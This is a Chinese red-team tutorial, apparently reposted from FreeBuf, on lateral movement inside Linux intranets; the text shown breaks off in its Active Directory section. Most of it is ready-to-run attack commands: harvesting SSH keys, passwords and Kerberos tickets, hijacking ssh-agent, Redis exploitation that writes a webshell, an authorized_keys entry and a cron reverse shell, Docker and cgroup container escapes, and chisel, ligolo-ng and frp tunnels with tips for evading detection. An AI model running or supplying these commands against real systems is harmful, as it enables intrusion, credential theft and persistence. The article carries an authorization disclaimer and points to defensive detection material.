课程培训
扫码咨询


专注于SRC漏洞挖掘、红蓝对抗、渗透测试、代码审计JS逆向,CNVD和EDUSRC漏洞挖掘,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(课程培训限时优惠)。
文章作者:一梦
文章来源:https://www.freebuf.com/articles/system/493875.html
01
假设这样一个夜晚。你拿下一个边界 Web 服务,弹回来一个 Linux shell。指令执行了,id显示www-data。然后呢?
新手会立刻去跑扫描器,去撞端口。老手做的第一件事恰恰相反——先别动。因为接下来的每一秒,你都在被审计:auditd在记、syslog在记、SSH 的auth.log在记。你要回答的问题不是"内网里有什么",而是三个更刁钻的:
想清楚这三条,再决定往哪个方向爬。这不是鸡生蛋的问题,是侦察的次序决定横移的成败。英文安全圈有一句很准的话,叫 "The L in Linux Stands for Lateral Movement"(Akamai 那篇经典文章的名字)[4]——Linux 内网里,横移不是一招鲜,是一整套围绕"信任、凭据、可达性"的打法。而这篇文章,就是把这套打法拆开给你看。
我们走的路是这样的:先交代自己(侦察)→ 摸清邻居(发现)→ 收集弹药(凭据)→ 打出第一跳(横向)→ 建立通路(隧道)→ 跨平台(域)→ 绝境求生(出网)→ 串成链(案例)→ 最后换到蓝队视角看你怎么被抓。一条路走下来,中间每一步都会自然引出下一步——这就是为什么我把它们写成"站",而不是一张功能清单。
[!] 边界声明:本文所有内容针对授权渗透测试、红队演练、CTF场景。探测、爆破、密钥窃取、逃逸等所有手法,未经授权对任何系统实施都属于违法行为。写公钥进别人
authorized_keys之前,先确认你签了授权书。
现在,我们踏进第一站。
横向移动的本质是复用。复用信任(SSH 密钥)、复用凭据(口令、票据)、复用可达性(跳板)。而这一切的起点,是你先搞清楚这台机器能给你什么。Linux 的哲学是"一切皆文件",所以侦察也绕不开/proc、/etc、/var/log——那些看起来平平无奇的文件,就是这台机器的全部记忆。
最关键的一个观念:侦察的动静要最小化。扫描是发流量的,是主动的;而读本机文件是零流量的,是被动的。同等的信息量,被动永远优先于主动。你先花三分钟读文件,往往就能避免半小时的瞎扫。
第一个要回答的,是你在容器里还是物理机里。这决定后面所有路怎么走:
ls -la /.dockerenv # 存在 = 容器
cat /proc/1/cgroup # 含 docker/k8s 字样 = 容器
hostname # 容器 hostname 常是容器 ID
判断错这一步,你会拿着容器里的权限去想办法打宿主机,方向全反。容器里你可能只是几百行的环境变量 + 一个被阉割的 shell;物理机上你是整块硬盘的主人。先分清。
然后看身份与历史——这两行代码能省你一天:
id; sudo -l # 我的权限、我能 sudo 什么
history; cat ~/.bash_history ~/.zsh_history 2>/dev/null # 前任(或这台机的运维)留了什么
bash_history是内网渗透里最被低估的宝藏之一。运维在这台机器上敲过的sshpass -p、ssh -i /tmp/key、scp、mysql -p,全在这里。别小看历史文件——真实攻击链里,历史命令泄露凭据是占比最高的入口之一(见第四站详述)。
接下来是网络侧的三板斧。这三条命令全是只读的、零流量的,但信息量爆炸:
cat /etc/hosts # 内网域名→IP 映射,最容易被忽略的宝藏
cat /etc/resolv.conf # DNS 服务器 IP;域环境里 DNS = 域控
route -n || ip route # 路由表 → 暴露可达的其他网段
/etc/hosts里写的内部域名(gitlab.corp.local、jump.corp.local)往往比扫描器跑半天出来的结果更有用——有人已经替你把目标标好了。路由表则是你的"地图边界":看到10.10.0.0/16的静态路由,你就知道这台机器还连着另一个大网段。
真正杀招是这一条——这台机器正在跟谁说话:
netstat -anp || ss -tulnp
ss -tunp | grep ESTAB # 活跃连接:找 Redis(6379)/MySQL(3306)/Docker(2375)/ES(9200)
netstat -a -p --unix # Unix socket:docker.sock 等
ss的ESTAB列表,是横向目标的第一手名单。生产环境里一台应用服务器必然连着数据库、缓存、消息队列——这些连接对象就是你下一步要爬的机器。不用扫描,netstat已经告诉你哪里有钱。
最后补一条被动侦察之王——ARP 表,零流量拿到同网段存活清单:
arp -a; cat /proc/net/arp; ip neigh show
在动手扫之前,先花十秒钟盘算这台机器怎么回我。攻防演练里最尴尬的事,是你拿了 shell 却发现 payload 弹不回来,或者隧道工具传不进去。所以提前探:
# 判断本机有哪些工具可用(决定后面用什么打)
which nmap masscan nc ncat netcat wget curl python3 perl php ruby docker 2>/dev/null
# 出网探测五件套(详见第七站)
ping -c 4 baidu.com # ICMP
curl -sI http://www.baidu.com # HTTP
dig @8.8.8.8 www.baidu.com # DNS
bash -c 'echo x > /dev/tcp/你的VPS/80' && echo TCP-OK # 任意 TCP
这一站的核心就一句话:能读文件就不发包,能看状态就不扫网。把上面的命令在脑子里过一遍,你心里就该有这张机器的完整画像了——它是什么角色、连着谁、揣着什么、能去哪。下一站,才轮到"扫"。
日文社区在这一块的特色是慢工出细活:MITRE ATT&CK 的日译版(attack-mitre-japan.com)和 Qiita 的 AD 横移系列把每一步的战术映射做得极其细致[14],适合你写报告时对照着补齐战术编号。
侦察靠读文件是零成本,但发现邻居终究要发包。这里有个绕不开的权衡:快 = 响,响 = 容易被抓。nmap 的-T5和-T0能差出几个数量级的流量;fscan 一个命令把扫描、爆破、POC、未授权检测全做了,方便是真的方便,但动静也是真的炸。这一站的核心是学会按场景选工具、按阶段控动静。
先说一个通行原则:先低流量摸底,后定点精扫。进一个陌生网段,别上来就全模块梭哈。先确认存活,再摸端口,最后才轮到爆破和 POC。
# 同网段最狠:ARP,不走 L3,不触发防火墙日志
nmap -sn 192.168.1.0/24 # 同网段默认发 ARP
netdiscover -r 192.168.1.0/24
arp-scan -I eth0 192.168.1.0/24
# Windows 内网:NetBIOS/NBT 也能扫
nbtscan -r 192.168.1.0/24
nmblookup -A <IP>
# 禁 ICMP 的网络:TCP 存活(无 ping 扫描)
nmap -n -Pn -T5 -sS 192.168.1.0/24 # -Pn 跳过 ping 直接 TCP
nmap -sn -PS22,80,443,445 192.168.1.0/24 # TCP SYN ping 探指定端口
跨网段时 ARP 失效(ARP 出不了三层),这时要么用 TCP 存活,要么先看路由找网关所在段,要么通过已控机器做 socks5 代理再扫目标段——后者是标准做法,我们第五站展开。
# 内网常规精扫
nmap -sV -sC -O -T4 -n -Pn -p- -oA full 192.168.1.10
# 大网段高速
nmap -p- --min-rate 10000 -n -Pn -T4 192.168.1.0/24
masscan -p22,80,443,445,3306,3389,6379,9200 192.168.1.0/24 --rate 10000
# UDP 别漏(容易被忘)
nmap -sU -sV --version-intensity 0 -n -F -T4 192.168.1.10
# 躲避检测的精细化控制
nmap -f 192.168.1.10 # 分片
nmap -D RND:10 -n -Pn 192.168.1.10 # 10 个随机诱饵
nmap --source-port 53 -n -Pn 192.168.1.10 # 源端口哄骗(骗只放行 53 的防火墙)
nmap --scan-delay 1s 192.168.1.10 # 低速率躲阈值 IDS
服务枚举时,netstat教过你的"本机连着谁"可以直接反哺扫描——先打ss -tnp里出现过的端口,命中率最高。Redis、MySQL、Docker API 这类服务一旦暴露,就是横向前哨(第四站详述)。
中文内网生态里,fscan 是绕不开的事实标准(GitHub 14k+ star)[6]。它把 nmap 的端口扫描、hydra 的爆破、whatweb 的指纹、未授权检测、POC 连发全塞进一个 Go 静态二进制。一个命令兜底:
fscan -h 192.168.1.0/24 # 默认全模块
fscan -h 192.168.1.0/24 -np -nopoc -nobr # 最小流量:跳过存活/跳过POC/跳过爆破
fscan -h 192.168.1.0/24 -p 1-65535 # 全端口
fscan -h 192.168.1.0/24 -m ssh -p 2222 # 指定模块
fscan -h 192.168.1.0/24 -pwdf pwd.txt -userf users.txt # 字典爆破
fscan -h 192.168.1.0/24 -rf id_rsa.pub # Redis 写公钥
fscan -h 192.168.1.0/24 -rs 192.168.1.1:6666 # Redis 写计划任务反弹
fscan -h 192.168.1.0/24 -socks5 socks5://user:pass@127.0.0.1:1080 # 过代理扫
但我要把 fscan 的弊端说透,因为太多新手把它当万能钥匙,然后死得很难看:
① 扫描即暴露。fscan 的一键默认 = 端口扫描 + 弱口令爆破 + web 指纹 + POC 连发 + 未授权检测同时上。在一个/24上跑默认命令,等于给这个网段发上万请求。它默认的 User-Agent 是截断的 Chrome 头(源码里web/webTitle.go有req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"),没有版本号),内网大量相同 UA 就是强特征。更狠的是爆破节奏——默认端口扫描线程 600、超时 3 秒,28 种服务爆破一起打,短时高并发认证风暴是 HIDS 检测的核心行为(第十站详述)。
② 爆破是动静比最差的操作。默认字典对强口令网络成功率可能只有几个点,但失败的 SSH 爆破会写满auth.log、触发账户锁定和告警。攻防演练里蓝队最常挂的检测就是"短时间多次 SSH 失败认证"。真正的高手爆破是定向的——先侦察锁定关键目标(数据库、运维机、跳板机),小字典慢慢试。
③ 蜜罐一撞一个准。fscan 见 IP 就打,不挑对象。高交互蜜罐(HFish 之类)本来就是为了扫描器设计的:它完整记录你的工具链指纹、爆破字典、命令特征,还能顺藤摸瓜看你手里有哪几条路。
④ 单点深度不足。fscan 的价值在发现——告诉你网里有什么、哪些能打。到了深入阶段(Redis 主从复制完整利用、SMB 深度枚举、多级利用链)你还得回 nmap 精扫 + 手工 + 专用脚本。
⑤ 二进制指纹公开。Go 静态编译,体积 10MB+,原版 hash 早被各厂商标记,直接传大概率被杀(第十站的免杀实证)。
正确姿势就十二个字:分段用、定向用、低流量起步。先-np -nopoc -nobr摸底,看结果,再对命中的目标定向跑爆破。fscan 是冲锋枪,不是狙击枪——选之前先问自己这轮是要横扫还是要偷袭。
俄文社区在"扫描策略"上有独到整理:Codeby 那篇 2026 Linux 渗透全指南把 40+ 工具按 ATT&CK 战术映射排序[15],其中"如何用低流量手法替代高流量扫描"一节尤其值得看。英文资料(HackTricks、iRed.team)则胜在命令参数的精细化。
横向移动能复用三样东西:密钥、口令、票据。而这三样里,SSH 私钥是最危险的一种——因为它是无口令的。密码会失败、会触发 MFA、会留下认证失败的日志;私钥不会。私钥一旦落入敌手,等于那张机器的"免死金牌"直接换了个主人,而且authorized_keys里的信任决策永不过期。这就是为什么 Linux 内网横移的第一桶金,永远是找私钥。
MITRE 把这条线画得很清楚:T1021.004(Remote Services: SSH)是横向移动技术里 24 个真实 APT 组在用的路径[1],T1552.004(Unsecured Credentials: Private Keys)[2]和 T1563.001(SSH Hijacking)[3]则是它的弹药和手法。而我要带你走的,正是这条被真实世界反复验证的路。
~/.ssh/下五个文件,每个都是戏:
id_rsaid_ed25519 | ||
id_rsa.pub | user@hostname定位资产库身份 | |
authorized_keys | ||
known_hosts | 核心 | |
config | IdentityFile密钥位置 |
全盘狩猎命令(中英文社区都有,命令几乎一样):
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
grep -rlE "BEGIN (OPENSSH|RSA|EC|DSA) PRIVATE KEY" /home /root /opt /var /tmp 2>/dev/null
# 判断私钥是否加密(Proc-Type: 4,ENCRYPTED 开头即加密)
head -2 ~/.ssh/id_rsa
ssh-keygen -y -P "" -f ~/.ssh/id_rsa >/dev/null 2>&1 && echo"NO passphrase" || echo"encrypted"
# 加密私钥离线爆破
python3 /usr/share/john/ssh2john.py key > key_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt key_hash.txt
known_hosts的含金量很多人低估了。它是一张"这台机器曾经连接过哪些主机"的信任地图。如果管理员开了HashKnownHosts yes,直接读是哈希,但可以用已知网段碰撞:
for ip in $(seq 1 254); do
ssh-keygen -F 10.10.1.$ip -f ~/.ssh/known_hosts 2>/dev/null | grep -v "^#" | grep -v "^$" \
&& echo"[+] Found: 10.10.1.$ip"
done
而~/.ssh/config更狠——它把目标、用户名、跳板路径、私钥位置全写成明文配方了:
cat /home/*/.ssh/config /root/.ssh/config 2>/dev/null
① 历史命令(动静为零,命中率高):
cat ~/.bash_history | grep -E "ssh|scp|rsync|sftp"
cat ~/.bash_history | grep -i sshpass # sshpass -p 后直接跟明文密码
cat ~/.mysql_history ~/.psql_history ~/.rediscli_history 2>/dev/null
② 配置文件(web 应用、运维脚本、备份里全是密码):
grep -rE "(password|passwd|token|secret|api_key)\s*=\s*['\"]?..." /home /etc /opt /var/www 2>/dev/null
grep 'DB_USER\|DB_PASSWORD\|DB_HOST' /var/www/*/wp-config.php 2>/dev/null
cat ~/.git-credentials ~/.netrc ~/.npmrc ~/.pypirc ~/.aws/credentials 2>/dev/null
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null # systemd 明文密钥
③ 环境变量与进程内存(容器里直接看/proc/1/environ):
env | grep -iE "pass|token|secret|aws|db"
for pid in $(ls /proc | grep -E "^[0-9]+$"); do
cat /proc/$pid/environ 2>/dev/null | tr '\0''\n' | grep -iE "pass|secret|aws_access"
done
④ 内存 dump(MITRE T1003.007[5]——读进程 heap 抓密码,MimiPenguin 的原理):
PID=$(pgrep -n -f <target_process>)
HEAP=$(grep -E "^[0-9a-f-]* r" /proc/$PID/maps | grep heap | cut -d' ' -f1)
START=$((0x$(echo$HEAP | cut -d'-' -f1))); SIZE=$((0x$(echo$HEAP | cut -d'-' -f2) - START))
dd if=/proc/$PID/mem of=/tmp/dump.bin bs=1 skip=$START count=$SIZE 2>/dev/null
grep -i "PASS" /tmp/dump.bin
这是最优雅也最隐蔽的一条:ssh-agent把解密后的私钥放内存,通过 Unix socket($SSH_AUTH_SOCK)响应签名请求。ssh -A会把 socket 转发到远端——于是私钥文件本体不出受害者机器,但签名能力被借走了。
find /tmp -type s -name "agent.*" 2>/dev/null; ls -la /tmp/ssh-*/ 2>/dev/null
# root 枚举受害者 agent socket
for pid in $(pgrep -u victim ssh-agent); do
cat /proc/$pid/environ | tr '\0''\n' | grep SSH_AUTH_SOCK
done
export SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234
ssh-add -l && ssh user@target # 借用受害者密钥横向,无需私钥文件
为什么这招危险到值得单列?因为 agent 转发的信任边界是反向的:你转发 agent socket 到一台恶意服务器,那台服务器不仅能借你的身份,还能通过 PKCS#11 接口让你的 ssh 客户端加载任意.so——CVE-2016-10009 就是靠这个实现的 RCE[8]。所以防守方的铁律是:**ForwardAgent是信任边界反转的根源,能用 ProxyJump 就别用 agent 转发**。
凭据之外,内网里躺着另一类"送上门"的弹药——未授权访问的服务。fscan 对这些服务有原生检测,命中后一行标识:
[+] 192.168.1.1:6379: redis unauthorized
[+] 192.168.1.1:27017: mongodb unauthorized
[+] 192.168.1.1:9200: elasticsearch unauthorized
[+] 192.168.1.1:11211: memcached unauthorized
这里我把杀伤力最高的几个列一下(完整命令链在素材库,此处给核心):
Docker API 2375——直通宿主机。裸curl就能接管:
curl -s http://IP:2375/containers/json | jq # 枚举容器
docker -H tcp://IP:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow # 宿主全部文件
Elasticsearch 9200——数据矿场。索引里是日志、会话、API key:
curl -X GET "IP:9200/_cat/indices?v"
curl "IP:9200/_search?pretty=true&size=10000"
PostgreSQL 5432——COPY FROM PROGRAM直接命令执行(CVE-2019-9193,官方当 feature 不修):
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
ZooKeeper 2181——四字命令打点 + AdminServer 整个状态库 dump:
printf'ruok' | nc IP 2181 # imok = 存活
printf'dump' | nc IP 2181 # /brokers/ids/*(Kafka 拓扑)
curl -s "http://IP:8080/commands/snapshot?streaming=true"# 离线 dump 全 znode 树
NFS 2049——no_root_squash写公钥;更阴的坑是/etc/shadow属主root:shadow(gid 42),root_squash只防 UID 0,不防这个组:
showmount -e IP
mount -t nfs -o vers=3 IP:/home /mnt/home
cat ~/.ssh/id_rsa.pub >> /mnt/home/<user>/.ssh/authorized_keys
这些服务的共同点:**它们不是"漏洞",是"配置"**。加固得当就无懈可击,放养就是门户大开。内网里扫到这几个端口,基本等于捡到钥匙。
凭据和未授权服务之外,还有一个杠杆——提权。sudo/SUID/capabilities 的滥用是独立的大主题(GTFOBins 是权威清单[11],sudo -l是第一步),这里只点一句:拿到 root 意味着你能读/etc/shadow、能翻所有用户的~/.ssh/、能strace任何进程——它把整个"弹药库"的检索权限从"可读几处"放大成"全读"。所以侦察链里永远带着一根提权探针:sudo -l看一眼,SUID 扫一遍,capabilities 列一次。提权不成,也要知道哪里能提——那是横移的倍增器。
中文社区在凭据收集这块的实战总结最厚。ZONE.CI 把
.ssh五文件做成攻防价值表[16]、FreeBuf 的 Redis getshell 总结[17]、腾讯云的 Linux 横向实战[18],都是英文社区没有的一手材料。而英文侧(Hive Security 2026 攻防一体文[7])补的是完整的检测侧:auditd 规则、Sigma、Wazuh rule ID 四件套。
弹药齐了,开始爬。这一站是"把前面收集的信任真正花出去"的一步。三条主路:SSH 密钥横向(复用信任)、Redis getshell(复用服务)、容器逃逸(突破隔离)。每一条都要讲透为什么能通、什么时候不灵。
拿到私钥后的第一件事:别急着满网段扫。先用known_hosts、/etc/hosts、netstat、ARP 拼出"这台机器信任谁",然后批量试:
# 批量登录(BatchMode 防挂起,私钥必须 chmod 600)
for ip in $(seq 1 254); do
ssh -i ~/.ssh/id_rsa -o BatchMode=yes -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 root@192.168.1.$ip \
'id && hostname' 2>/dev/null && echo"[+] 192.168.1.$ip OK"
done
# xargs 限并发(防 sshd 限速 / fail2ban)
cat targets.txt | xargs -P 10 -I{} sh -c \
'ssh -i key -o BatchMode=yes -o StrictHostKeyChecking=no root@{} "hostname" 2>/dev/null && echo "[+] {}"'
规模化更推荐 nxc(netexec)的 ssh 模块——私钥批量试,绕过密码认证,日志更隐蔽:
nxc ssh 192.168.1.53 -u sameuser --key-file ~/.ssh/id_rsa -x 'whoami'
nxc ssh 192.168.1.0/24 -u users.txt -p 'Spring2025!'
nxc ssh <host> -u root -p 'x' -x 'sudo -l'
nxc ssh <host> -u root -p 'x' --get-file ~/.bash_history /tmp/bh.txt # 顺走历史
常见翻车点——StrictModes 权限坑:目标开了StrictModes yes时,.ssh目录必须是 700、authorized_keys必须是 600、owner 必须对,否则服务端直接拒绝公钥认证,报Permission denied (publickey)。这经常是"密钥明明对却登不上"的唯一原因。同时注意老 OpenSSH 服务端要-o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa才能用老算法。
如果连上去的机器又是跳板,repeat——netstat→known_hosts→ 私钥 → 下一跳。这就是"横向"的本义:在信任链上一步步挪。现实中 SSH-Snake 这种自复制自传播的恶意脚本,就是把这套"找密钥→找主机→再找密钥"自动化了(2024 年已被真实攻击者武器化,初始投递常走 ActiveMQ/Confluence 漏洞)[19]。
Redis 未授权是内网渗透的"三朝元老",从远古到 2026 年依然高发。它的价值在服务本身的权限——Redis 常以 root 跑,getshell 直接就是 root。四条路:
① 写 SSH 公钥(要求:root 运行 + 目标开 SSH +/root/.ssh存在):
# 公钥前后加空行——绕过 RDB 文件头二进制垃圾数据(REDIS0009 魔数)
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h <IP> -x set crackit
redis-cli -h <IP>
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
ssh -i id_rsa root@<IP>
这里有个细节值得讲透:save是以 RDB 格式落盘的,文件首行是二进制头,如果公钥不前后加\n,sshd会把二进制垃圾混进authorized_keys导致识别失败。必须一次性写入,残留脏数据的话flushall能清但会破坏数据,实战慎用。还有一条大量中文教程没提的坑——写 cron 反弹只在 CentOS 稳:Ubuntu/Debian 的 cron 会因 RDB 乱码拒绝执行,CentOS 会忽略乱码继续跑。
② 写计划任务 cron 反弹(仅 CentOS 稳定):
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/<攻击IP>/4444 0>&1\n\n" | redis-cli -h <IP> -x set 1
redis-cli -h <IP>
config set dir /var/spool/cron/ # CentOS;Ubuntu/Debian 用 /var/spool/cron/crontabs/
config set dbfilename root
save
③ 写 webshell(要求:知道 web 绝对路径 + 可写):
redis-cli -h <IP>
config set dir /var/www/html
config set dbfilename shell.php
set x "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n"
save
④ 主从复制 RCE(CVE-2019-11090 链,影响 4.x–5.0.5):攻击者起一个"恶主",让目标变成从机,把恶意.so当 RDB 数据同步到/tmp,再MODULE LOAD加载执行命令:
# 工具:redis-rogue-server(<=5.0.5)或 redis-rce(支持 -a 带密码)
git clone https://github.com/n0b0dyCN/redis-rogue-server
python3 redis-rogue-server.py --rhost <目标> --rport 6379 --lhost <攻击IP>
# 手动链路(无工具时)
config set dir /tmp
config set dbfilename exp.so
slaveof <攻击IP> 15000
module load ./exp.so
system.exec "whoami"; system.rev <攻击IP> 1234 # 反弹
判定表——新版 Redis 这招还灵吗?这是最值得背的一段。Redis 7.0 引入 PR #9920 三个保护开关,默认全no:
CONFIG SET dir被封 | |||
MODULE命令默认禁用 |
enable-protected-configs(保护 dir/dbfilename)、enable-debug-command、enable-module-command三个开关配成yes或local(仅本地 TCP + unix socket)才可能利用。除非你有 SSRF 打到 127.0.0.1:6379,或者遇到 Redis 6 时代配了local的站。而 Redis 7 时代唯一的新兴 post-auth RCE 面是 DarkReplica(CVE-2026-23631)——函数引擎 + 主从复制重入 UAF,2026-05 修复于 7.2.14/7.4.9/8.x[20]。
内网里打穿 Web 服务经常发现自己在容器里。这时你的攻击面从"这台机器"变成"宿主机 + 同宿主其它容器"。逃逸面判定(T Wiki 的 container-escape-check 逻辑[21]):
cat /proc/1/cgroup | grep -qi docker && echo"Is Docker"
cat /proc/self/status | grep -qi "0000003fffffffff" && echo"Is privileged"# 特权容器
ls /var/run/ | grep -qi docker.sock && echo"docker.sock mounted"
find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo"root dir mounted"
① docker.sock 挂载——最简单也最致命:
docker run -it -v /:/host ubuntu chroot /host bash # 容器里有 docker 命令
# 无 docker 命令时直接打 API
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" \
-d '{"Image":"ubuntu","Binds":["/:/host"]}' http:/v1.40/containers/create
② 特权容器——mount宿主机磁盘 + chroot:
fdisk -l
mkdir /test && mount /dev/sda1 /test && cat /test/etc/shadow
nsenter -t 1 -m -u -i -n -p -- chroot / bash # 直进宿主 PID namespace
echo $'*/1 * * * * perl -e \'...revshell...\';' >> /test/var/spool/cron/crontabs/root
③ cgroups release_agent(CAP_SYS_ADMIN / 特权):
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo"$host_path/cmd" > /tmp/cgrp/release_agent
echo'#!/bin/sh' > /cmd; echo"ps aux > $host_path/output" >> /cmd; chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"; sleep 1; head /output
④ CVE-2022-0492(非特权 userns 也能打 cgroup)——unshare -UrmC bash后走同上的 release_agent 流程。⑤ 脏管道 + runC(CVE-2022-0847 绕只读挂载覆写宿主文件)——2023 年后逃逸的主链,T Wiki 有完整的/proc/<runc_pid>/exe循环打法[22]。⑥ core_pattern procfs——挂载宿主 procfs 时,改/proc/sys/kernel/core_pattern让内核崩溃转储执行你的脚本。
逃逸后的第一件事(很多人漏):/proc/1/environ(宿主机根进程环境变量)、宿主机~/.ssh/、docker inspect其它容器的环境变量(里面常常有密码和 API key)、cron。这一步把"逃逸"变成"横向"。
容器/云这块,中文 T Wiki[21] 和阿里云的文章是权威;英文 Red Canary 有专门的容器逃逸检测报告[23],Unit42 和 CyberArk 把逃逸原理讲得最透。跨语言对照看,原理看英文,靶场和工具看中文。
第一跳打进去了,但你发现目标机器能出网(或者你还要继续深入二级网段)。这时候的问题是:你的攻击机和内网之间没有路。隧道就是那个路。为什么 SSH 隧道是第一选择?因为它是系统自带、加密、无文件落地的——sshd每家 Linux 都有,用系统自己的东西,不传二进制,不触发文件落盘检测。
所有参数格式统一为[bind_address:]port:host:hostport,方向由命令在哪台机器上执行决定:
# 本地转发(正向):攻击机 → 跳板 → 内网目标
ssh -L 8443:192.168.1.100:8443 user@jump -N -f
# 远程转发(反向):目标机 → VPS → 攻击机(目标在 NAT 后时的核心手段)
ssh -R 13389:127.0.0.1:3389 user@VPS -N -f
# 动态转发(SOCKS5):建本地 SOCKS 代理,proxychains 漫游全网段
ssh -D 1080 user@jump -N -f
# OpenSSH 7.6+:反向动态 SOCKS(单命令在远端建 SOCKS)
ssh -R 9051 user@jump -N -f
# 多跳
ssh -J user1@jump1,user2@jump2 -D 1080 user3@target
关键开关:-N(不执行命令)、-T(不分配 TTY)、-f(后台)、-C(压缩)。**注意GatewayPorts**:不开时-R只绑 loopback,想绑0.0.0.0必须在sshd_config开。SpecterOps 那篇 SSH 隧道权威指南里给的经典组合是三跳打通[9]:
# 目标机建 SOCKS → 暴露到 VPS → 攻击机连回 VPS → proxychains 指向本地
ssh -D 9052 user@target -N -f # 目标机上
ssh -R 9051:127.0.0.1:9052 user@VPS -N -f # 目标机上
ssh -L 9050:127.0.0.1:9051 user@VPS -N -f # 攻击机上
echo"socks5 127.0.0.1 9050" >> /etc/proxychains4.conf
proxychains nmap -sT -Pn -p 445 192.168.1.0/24
隧道工具生态成熟到过剩,选型的口诀(多来源一致)是:有 SSH 用 SSH → 穿防火墙用 chisel → 透明漫游用 ligolo-ng → 多级内网用 Stowaway/Venom → 仅 Web 端口用 reGeorg → 极端封网用 DNS/ICMP。矩阵如下:
| SSH | ||||
| chisel | R:socks秒建 SOCKS | chisel-v3 | ||
| frp | ||||
| ligolo-ng | ||||
| sshuttle | ||||
| Venom | ||||
| Stowaway |
chisel 上手最快(攻击机当 server,目标当 client):
./chisel server -p 8081 --reverse --auth "user:pass"# 攻击机
./chisel client --auth "user:pass" VPS:8081 R:8082:socks # 目标:反向 SOCKS
./chisel client VPS:8081 R:13389:127.0.0.1:3389 # 目标:反向端口转发
ligolo-ng 是 2024-2026 明显崛起的现代替代——TUN 网卡直接把攻击机"泡"进目标网段,nmap/SMB/RDP 不用 proxychains 直接跑:
sudo ./proxy -selfcert -laddr 0.0.0.0:11601 # 攻击机(需 root 建 tun)
./agent -connect VPS:11601 -ignore-cert # 目标机(免 root)
# proxy 控制台:interface_create → session → tunnel_start --tun ligolo
sudo ip route add 10.10.10.0/24 dev ligolo
nmap --unprivileged 10.10.10.100 # 直接扫,不用 proxychains
sshuttle 是"穷人版 VPN",免 root 且避开 TCP-over-TCP 性能坑:
sshuttle -D -r user@host 10.10.10.0/24 0/0 --ssh-cmd 'ssh -i ./id_rsa'
真正难的是多层内网——从边界到目标隔了三层网段。三种主流打法:
proxychains 级联(最朴素):proxychains指向第一条 SOCKS,这条 SOCKS 再链向更内层的 SOCKS,层层叠加。
ligolo-ng 双节点(官方 Advanced Pivoting):
# Agent1 上加 listener,把 Agent2 的接入转到 ligolo 本地端口
# proxy 控制台:
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601
# Agent2(无外网)连接 Agent1:
./agent -connect <Agent1_IP>:4444
frp 三层级联(中文社区最常用,cn-sec 那篇实战文给到配置文件级):
# 第一层:VPS 跑 frps
# 入口机 frpc.ini:
# [common] server_addr=VPS server_port=7000 token=xxx
# [plugin_socks] type=tcp remote_port=7777 plugin=socks5
./frpc -c frpc.ini
# 第二层:入口机再起 frps --bind_addr <入口机IP> --bind_port 9999
# 目标机 frpc.ini: [common] server_addr=<入口机IP> ...
# [http_proxy] type=tcp remote_port=8888 plugin=socks5
# 代理链依次:socks5://VPS:7777 → 更内层
Stowaway/Venom 也是多级老手,use 0→socks 8888→ 节点上listen→ 传下一层 agent →use 1→socks 7777,逐层深入。
这里要泼盆冷水:隧道本身加密 ≠ 不可检测。Elastic 对 chisel 的检测逻辑是"命令行参数特征 + 1 分钟内网络事件序列"[10]——argv=="client"+R*/:*/socks*+ parent 是 shell + 随后对外连接。通用隧道检测更狠:命令行正则匹配ip:port:ip:port。所以:
最隐蔽的方案是 Nginx 反代 + 商用证书 + 路径混淆——流量特征只剩标准 Nginx TLS,是公认最像正常流量的。其次是改二进制指纹(strings chisel | grep "chisel-v3"能发现版本串)、走 443、TLS 自签证书。JA3 指纹伪装(--tls-ja3)和 Host 头伪装(--header "Host: windowsupdate.microsoft.com")是进阶。中文社区的 cn-sec 隧道全解[12]把这个对抗面讲得最系统。
英文的 SpecterOps SSH 指南[9]和 Elastic 检测规则[10]给原理与检测;中文的 cn-sec 系列[12][13]给多级实战与对抗。这一节是跨语言互补最典型的地方。
内网里有 Windows AD 域时,Linux 主机的角色很特殊:它既是域成员(能拿域票据),又是异类(蓝队对 Linux 侧的 Kerberos 监控远弱于 Windows 侧)。这是中文社区几乎空白的区域——找到的中文资料全是翻译搬运。而英文侧 Mandiant 那篇《Kerberos Tickets on Linux Red Teams》是绕不开的权威[24]。这一站,把它讲透。
域内 Linux 主机的 Kerberos 凭据有两种存储:ccache(票据缓存)和 keytab(长期密钥)。后端的存放由/etc/krb5.conf的default_ccache_name决定——FILE:(默认/tmp/krb5cc_%{uid})、DIR:(systemd-logind)、KEYRING:(内核 keyring)、KCM:(SSSD KCM)、MEMORY:(进程内)。
env | grep KRB5CCNAME
ls /tmp/ | grep krb5cc
klist -l; klist -A
sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc* # 默认 FILE 位置
# 内核 keyring 里的票(tickey 工具)
/tmp/tickey -i # → /tmp/__krb_<uid>.ccache
# SSSD KCM 离线解密(root 才能读 mkey)
python3 SSSDKCMExtractor.py --database secrets.ldb --key .secrets.mkey
/etc/krb5.keytab里 key type 23(RC4)就是该机器账户的 NT hash——可以直接拿去打 Windows:
klist -k /etc/krb5.keytab
